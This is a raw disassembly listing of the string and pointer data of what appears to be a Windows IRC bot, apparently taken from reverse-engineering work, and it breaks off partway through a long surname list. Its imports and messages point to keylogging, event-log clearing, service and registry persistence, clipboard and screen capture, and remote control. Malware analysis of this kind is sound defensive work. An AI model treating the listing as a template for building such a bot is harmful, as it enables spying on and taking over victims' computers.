sub_4098FD+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4098FD+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4098FD+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4098FD+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4098FD+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4098FD+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4098FD+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4098FD+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_4098FD+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4098FD+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4098FD+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4098FD+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4098FD+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4098FD+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4098FD+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4098FD:loc_409D2Ao align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4098FD:loc_409D02o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4098FD+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4098FD+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4098FD+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4098FD+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_4098FD+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4098FD+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4098FD+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4098FD:loc_409C54o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4098FD+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4098FD+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4098FD:loc_409C0Fo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4098FD+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4098FD+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4098FD+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4098FD+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4098FD+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4098FD+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4098FD+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4098FD+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4098FD:loc_409B5Co align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4098FD+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4098FD+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4098FD+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4098FD:loc_409AF5o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4098FD+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4098FD+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4098FD+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4098FD+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4098FD+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4098FD+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4098FD+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4098FD+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4098FD:loc_409A32o ; sub_424C88+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4098FD:loc_409A05o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4098FD+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4098FD+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4098FD+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4098FD+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4098FD+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4098FD+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4098FD+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4098FD+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4098FD+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4098FD+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4098FD+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4098FD+Ao align 10h unk_42D6D0 db 2Dh ; - ; DATA XREF: sub_40A5B9+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+28o align 4 a_: ; DATA XREF: sub_410330+24Do unicode 0, <.>,0 unk_42D860 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9DBo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D890 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9A9o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D8C0 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A975o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8E4 db 2Dh ; - ; DATA XREF: sub_40A91C+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A9FA+46o ; sub_40C29A+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D92C dd 0 ; DATA XREF: sub_40AE77+7o off_42D930 dd offset sub_40AAA0 ; DATA XREF: sub_40AE77+49r aConst db 'const',0 align 10h dd 1, 40AB0Ch, 7474656Ch, 7265h, 0 dd 2, 40AB6Ah, 706D6F63h, 2 dup(0) dd 3, 40ABB7h, 6E756F63h, 797274h, 0 dd 4, 40AC55h, 736Fh, 2 dup(0) dd 5, 40ACCAh, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEE0h off_42D9AC dd offset aAbdulrazak ; DATA XREF: sub_40AAA0+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9B8 dd offset aAddison ; DATA XREF: sub_40AE77+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset dword_430058 dd offset aLandes ; "Landes" dd offset 